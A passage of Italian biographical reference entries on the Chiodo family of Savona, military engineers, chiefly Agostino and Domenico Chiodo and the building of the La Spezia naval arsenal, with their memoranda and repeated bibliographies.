T. Calderai, Domenico Chiodo e La Spezia nella vita e nelle opere, ristampa anastatica, Luna editore, La Spezia, 1995
P. Cevini, La Spezia, Sagep, Genova 1984
L. C. Forti, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dall’analisi topografica alla difesa marittima del golfo, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 232-238
L. C. Forti, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, 1992
M. R. Mari, Gli interventi del Genio militare nel golfo della Spezia per la realizzazione dell’Arsenale, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 273-283
M. Quaini [1], Dalla cartografia del potere al potere della cartografia, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 7-60
M. Quaini [2], Il Golfo della Spezia: dal fascino delle rovine al teatro del progetto, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 171-218
M. Ricchebono, Architettura ed urbanistica del complesso del santuario, in AA.VV., La Madonna di Savona, 1985, pp. 147-176
G. Santuccio, Chiodo in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 14-18
M. Tassinari, Cartografi locali nel savonese tra Cinquecento e Settecento, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 201-208
C. Varaldo, Ceramisti savonesi del XVII secolo: i Folco, i Chiodo e i Peirano. Note storiche, in Atti dell’XI convegno internazionale della ceramica, Albissola, 1978, pp. 125-131
P. Visani [1], Chiodo, Agostino, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 16-17
P. Visani [2], Chiodo, Domenico, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 17-18.

Altro:

Rimandi ad altre schede: Giacomo Brusco, Francesco Pezzi, Giacinto Stefanini

Autore della scheda: Carlo Alberto Gemignani

Chiodo, Domenico Vincenzo

Domenico Vincenzo Chiodo
N. Savona 1752
M.

Relazioni di parentela: Dinastia. l nome Chiodo individua, alle origini, una delle più conosciute famiglie di maiolicari e ceramisti savonesi, attiva tra il XVII e il XVIII secolo. Attorno alla bottega dei Chiodo, a testimonianza della capacità tecnica e dell’importanza commerciale acquisite fino alla chiusura, avvenuta nel 1770, si muove un variegato gruppo di artisti, pittori e disegnatori (tra questi i Guidobono, il Levantino, il Besio, l’Ampugnani, il Torteroli ed il Ratti).
Il capostipite della dinastia è probabilmente Giovanni Francesco nato nel 1647 (per le notizie riguardanti l’origine della dinastia si rimanda a G. Santuccio, 1981, p. 14-16 e C. Varaldo, 1978, pp. 125-131).

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:

Produzione scientifica:
Atlante a corredo delle Relazioni intorno ai principali lavori eseguiti nell’arsenale militare marittimo di Spezia, a cura del Comitato delle Armi di Artiglieria e Genio, Roma, 1881, tav. 5

Istituto Storico e di Cultura dell’Arma del Genio, ISCAG, Roma: Piano della località di San Bartolomeo con la indicazione dei lavori eseguiti, 1863, ISCAG, FT 65°, 4093

memorie (si veda in particolare A. Fara 1983, p. 130):
Brevi note concernenti il progetto di massima del nuovo Arsenale Marittimo da formarsi nel piano sito a levante di S. Vito nel Golfo della Spezia, stato compilato d’ordine di S.E. il Ministro della Marina, Torino, 14 aprile 1860

Nuovo Arsenale Marittimo della Spezia. Relazione che va unita al progetto del 1° Agosto 1860, La Spezia, 1 agosto 1860

Arsenale Marittimo della Spezia. Relazione a corredo del progetto del 1° Aprile 1861, La Spezia, 1 aprile 1861

Brevi note in risposta alle asserzioni contenute nella lettera indirizzata al Signor Ingegnere Sarti al Ministro della Marina, Torino, 19 luglio 1861

Relazione sulle modificazioni introdotte nel progetto dell’Arsenale Militare Marittimo di Spezia a senso del parere espresso dalla commissione mista nominata dal Ministero della Marina, Torino, 20 dicembre 1861

Relazione del 10 Aprile 1866

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
G. De Moro, Città parallele: lineamenti urbanistici a confronto fra Oneglia e Porto Maurizio (secc. XVI-XIX), in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp.61-67
A. Fara, La Spezia, Laterza, Bari, 1983
A. Fara, Napoleone architetto nelle città della guerra in Italia, Olschki, Firenze, 2006
T. Calderai, Della vita e delle opere del commendatore Domenico Chiodo maggiore generale del Genio, Carlo Voghera, Firenze, 1871
T. Calderai, Domenico Chiodo e La Spezia nella vita e nelle opere, ristampa anastatica, Luna editore, La Spezia, 1995
P. Cevini, La Spezia, Sagep, Genova 1984
L. C. Forti, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dall’analisi topografica alla difesa marittima del golfo, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 232-238
L. C. Forti, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, 1992
M. R. Mari, Gli interventi del Genio militare nel golfo della Spezia per la realizzazione dell’Arsenale, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 273-283
M. Quaini [1], Dalla cartografia del potere al potere della cartografia, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 7-60
M. Quaini [2], Il Golfo della Spezia: dal fascino delle rovine al teatro del progetto, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 171-218
M. Ricchebono, Architettura ed urbanistica del complesso del santuario, in AA.VV., La Madonna di Savona, 1985, pp. 147-176
G. Santuccio, Chiodo in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 14-18
M. Tassinari, Cartografi locali nel savonese tra Cinquecento e Settecento, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 201-208
C. Varaldo, Ceramisti savonesi del XVII secolo: i Folco, i Chiodo e i Peirano. Note storiche, in Atti dell’XI convegno internazionale della ceramica, Albissola, 1978, pp. 125-131
P. Visani [1], Chiodo, Agostino, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 16-17
P. Visani [2], Chiodo, Domenico, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 17-18.

Altro:

Rimandi ad altre schede: Giacomo Brusco, Francesco Pezzi, Giacinto Stefanini

Autore della scheda: Carlo Alberto Gemignani

Chiodo, Agostino

Agostino Chiodo
N. Savona 16 aprile 1791
M. Torino 15 febbraio 1861

Relazioni di parentela: Il nome Chiodo individua, alle origini, una delle più conosciute famiglie di maiolicari e ceramisti savonesi, attiva tra il XVII e il XVIII secolo. Attorno alla bottega dei Chiodo, a testimonianza della capacità tecnica e dell’importanza commerciale acquisite fino alla chiusura, avvenuta nel 1770, si muove un variegato gruppo di artisti, pittori e disegnatori (tra questi i Guidobono, il Levantino, il Besio, l’Ampugnani, il Torteroli ed il Ratti).
Il capostipite della dinastia è probabilmente Giovanni Francesco nato nel 1647 (per le notizie riguardanti l’origine della dinastia si rimanda a G. Santuccio, 1981, p. 14-16 e C. Varaldo, 1978, pp. 125-131).

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:
Più conosciuto, soprattutto per i ruoli di governo ricoperti negli ultimi anni di vita, è il secondo figlio di Vincenzo, Agostino, (1791-1861 - P. Visani, 1981 [1], pp.16-17). Compie studi matematici e nel 1808 è aiutante del Genio Imperiale a La Spezia dove lavora alla stesura dei piani e dei livelli propedeutici alla costruzione dell’arsenale. Nel 1810 entra come allievo all’Ecole Polytechnique di Parigi uscendone, nel 1812, con il grado di sotto-tenente. Promosso luogotenente degli zappatori partecipa alla campagna napoleonica del 1813 e viene fatto prigioniero a Dresda. Nel 1815 entra come luogotenente del genio nell’esercito piemontese. Capitano nel 1819. Nel 1822 è nominato docente di geometria descrittiva e fortificazioni all’Accademia militare di Torino. Nel 1826, lasciato l’insegnamento,è promosso maggiore e nominato direttore delle fortificazioni di Genova ruolo che lo occuperà, all’incirca per i successivi dieci anni, nella costruzione dei forti di Begato, Castelletto e Ratti e della caserma di S. Benigno. Ulteriori promozioni saranno quelle a tenente colonnello (1832) e colonnello (1836). Nel 1837 si occupa del riammodernamento della cittadella di Alessandria. Nel 1839 è promosso maggiore generale e diventa comandante del corpo del Genio, distinguendosi, nove anni dopo, nell’assedio di Peschiera, impresa che gli farà guadagnare la nomina a luogotenente generale e, il 25 agosto 1848, quella temporanea a capo di Stato Maggiore. Una serie di eventi lo portarono poi a ricoprire prima, il ruolo di ministro della Guerra (9 febbraio 1849) e addirittura presidente del Consiglio (21 febbraio).
Tornò al ruolo di capo del genio militare, dirigendone fino alla morte il Consiglio, il 4 giugno 1849, avendo nel frattempo ottenuto anche la nomina a senatore e il titolo di barone.

Produzione scientifica:
Memorie (si veda in particolare A. Fara 1983, p. 130):
Ispezione delle località in cui devonsi eriggere delle opere di fortificazione nel Golfo della Spezia ed esame dei relativi progetti, Torino, 10 settembre 1858.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
G. De Moro, Città parallele: lineamenti urbanistici a confronto fra Oneglia e Porto Maurizio (secc. XVI-XIX), in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp.61-67
A. Fara, La Spezia, Laterza, Bari, 1983
A. Fara, Napoleone architetto nelle città della guerra in Italia, Olschki, Firenze, 2006
T. Calderai, Della vita e delle opere del commendatore Domenico Chiodo maggiore generale del Genio, Carlo Voghera, Firenze, 1871
T. Calderai, Domenico Chiodo e La Spezia nella vita e nelle opere, ristampa anastatica, Luna editore, La Spezia, 1995
P. Cevini, La Spezia, Sagep, Genova 1984
L. C. Forti, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dall’analisi topografica alla difesa marittima del golfo, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 232-238
L. C. Forti, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, 1992
M. R. Mari, Gli interventi del Genio militare nel golfo della Spezia per la realizzazione dell’Arsenale, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 273-283
M. Quaini [1], Dalla cartografia del potere al potere della cartografia, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 7-60
M. Quaini [2], Il Golfo della Spezia: dal fascino delle rovine al teatro del progetto, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 171-218
M. Ricchebono, Architettura ed urbanistica del complesso del santuario, in AA.VV., La Madonna di Savona, 1985, pp. 147-176
G. Santuccio, Chiodo in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 14-18
M. Tassinari, Cartografi locali nel savonese tra Cinquecento e Settecento, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 201-208
C. Varaldo, Ceramisti savonesi del XVII secolo: i Folco, i Chiodo e i Peirano. Note storiche, in Atti dell’XI convegno internazionale della ceramica, Albissola, 1978, pp. 125-131
P. Visani [1], Chiodo, Agostino, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 16-17
P. Visani [2], Chiodo, Domenico, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 17-18.

Altro:

Rimandi ad altre schede: Giacomo Brusco, Francesco Pezzi, Giacinto Stefanini

Autore della scheda: Carlo Alberto Gemignani

Chiodo, Domenico

Domenico Chiodo
N. Genova 30 ottobre 1823
M. La Spezia 19 marzo 1870

Relazioni di parentela: Il nome Chiodo individua, alle origini, una delle più conosciute famiglie di maiolicari e ceramisti savonesi, attiva tra il XVII e il XVIII secolo. Attorno alla bottega dei Chiodo, a testimonianza della capacità tecnica e dell’importanza commerciale acquisite fino alla chiusura, avvenuta nel 1770, si muove un variegato gruppo di artisti, pittori e disegnatori (tra questi i Guidobono, il Levantino, il Besio, l’Ampugnani, il Torteroli ed il Ratti).
Il capostipite della dinastia è probabilmente Giovanni Francesco nato nel 1647 (per le notizie riguardanti l’origine della dinastia si rimanda a G. Santuccio, 1981, p. 14-16 e C. Varaldo, 1978, pp. 125-131).

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:
Domenico Chiodo (Genova, 30 ottobre 1823 - La Spezia, 19 marzo 1870), figlio di Giovanni Battista. In età giovanile frequenta da esterno la scuola di marina e ne esce guardiamarina (1838). Il 6 dicembre 1840 passa al corpo del genio marittimo come sottotenente alle dipendenze del padre, a Genova. Luogotenente del 1844, nel 1848 è capitano e rimane a Genova in servizio presso l’arsenale. Nel 1851 fu inviato in Inghilterra per studio in seguito alla decisione cavouriana di costruire un grande arsenale nel seno del Varignano a La Spezia affidandolo all’ingegnere anglosassone J. M. Rendel cui Chiodo fu affiancato come collaboratore.
Nel 1857 Domenico, che nel frattempo è tornato a Genova, viene destinato alla direzione del genio di La Spezia col mandato di costruire l’arsenale progettato da Rendel. Giudicata più adatta allo scopo l’area situata tra La Spezia e l’abitato di Marola, idea sostenuta con forza da Chiodo (nel frattempo promosso a maggiore), viene incaricato di redigere un progetto di massima, discusso con Cavour nel 1860. Il progetto definitivo è datato 1 aprile 1861 e diventa legge il 28 luglio. Domenico è messo a capo, col grado di colonnello, alla direzione straordinaria del genio istituita appositamente per la costruzione dell’arsenale.
L’opera impegnò Chiodo - promosso maggior generale nel 1866 -
ininterrottamente dal 1861 al 1869 (P Visani [2], 1981, pp. 17-18).

Produzione scientifica:
carte:

Atlante a corredo delle Relazioni intorno ai principali lavori eseguiti nell’arsenale militare marittimo di Spezia, a cura del Comitato delle Armi di Artiglieria e Genio, Roma, 1881, tav. 5

Istituto Storico e di Cultura dell’Arma del Genio, ISCAG, Roma: Piano della località di San Bartolomeo con la indicazione dei lavori eseguiti, 1863, ISCAG, FT 65°, 4093

memorie (si veda in particolare A. Fara 1983, p. 130):
Brevi note concernenti il progetto di massima del nuovo Arsenale Marittimo da formarsi nel piano sito a levante di S. Vito nel Golfo della Spezia, stato compilato d’ordine di S.E. il Ministro della Marina, Torino, 14 aprile 1860

Nuovo Arsenale Marittimo della Spezia. Relazione che va unita al progetto del 1° Agosto 1860, La Spezia, 1 agosto 1860

Arsenale Marittimo della Spezia. Relazione a corredo del progetto del 1° Aprile 1861, La Spezia, 1 aprile 1861

Brevi note in risposta alle asserzioni contenute nella lettera indirizzata al Signor Ingegnere Sarti al Ministro della Marina, Torino, 19 luglio 1861

Relazione sulle modificazioni introdotte nel progetto dell’Arsenale Militare Marittimo di Spezia a senso del parere espresso dalla commissione mista nominata dal Ministero della Marina, Torino, 20 dicembre 1861

Relazione del 10 Aprile 1866

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
G. De Moro, Città parallele: lineamenti urbanistici a confronto fra Oneglia e Porto Maurizio (secc. XVI-XIX), in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp.61-67
A. Fara, La Spezia, Laterza, Bari, 1983
A. Fara, Napoleone architetto nelle città della guerra in Italia, Olschki, Firenze, 2006
T. Calderai, Della vita e delle opere del commendatore Domenico Chiodo maggiore generale del Genio, Carlo Voghera, Firenze, 1871
T. Calderai, Domenico Chiodo e La Spezia nella vita e nelle opere, ristampa anastatica, Luna editore, La Spezia, 1995
P. Cevini, La Spezia, Sagep, Genova 1984
L. C. Forti, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dall’analisi topografica alla difesa marittima del golfo, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 232-238
L. C. Forti, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, 1992
M. R. Mari, Gli interventi del Genio militare nel golfo della Spezia per la realizzazione dell’Arsenale, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 273-283
M. Quaini [1], Dalla cartografia del potere al potere della cartografia, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 7-60
M. Quaini [2], Il Golfo della Spezia: dal fascino delle rovine al teatro del progetto, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 171-218
M. Ricchebono, Architettura ed urbanistica del complesso del santuario, in AA.VV., La Madonna di Savona, 1985, pp. 147-176
G. Santuccio, Chiodo in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 14-18
M. Tassinari, Cartografi locali nel savonese tra Cinquecento e Settecento, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 201-208
C. Varaldo, Ceramisti savonesi del XVII secolo: i Folco, i Chiodo e i Peirano. Note storiche, in Atti dell’XI convegno internazionale della ceramica, Albissola, 1978, pp. 125-131
P. Visani [1], Chiodo, Agostino, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 16-17
P. Visani [2], Chiodo, Domenico, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 17-18.

Altro:

Rimandi ad altre schede: Giacomo Brusco, Francesco Pezzi, Giacinto Stefanini

Autore della scheda: Carlo Alberto Gemignani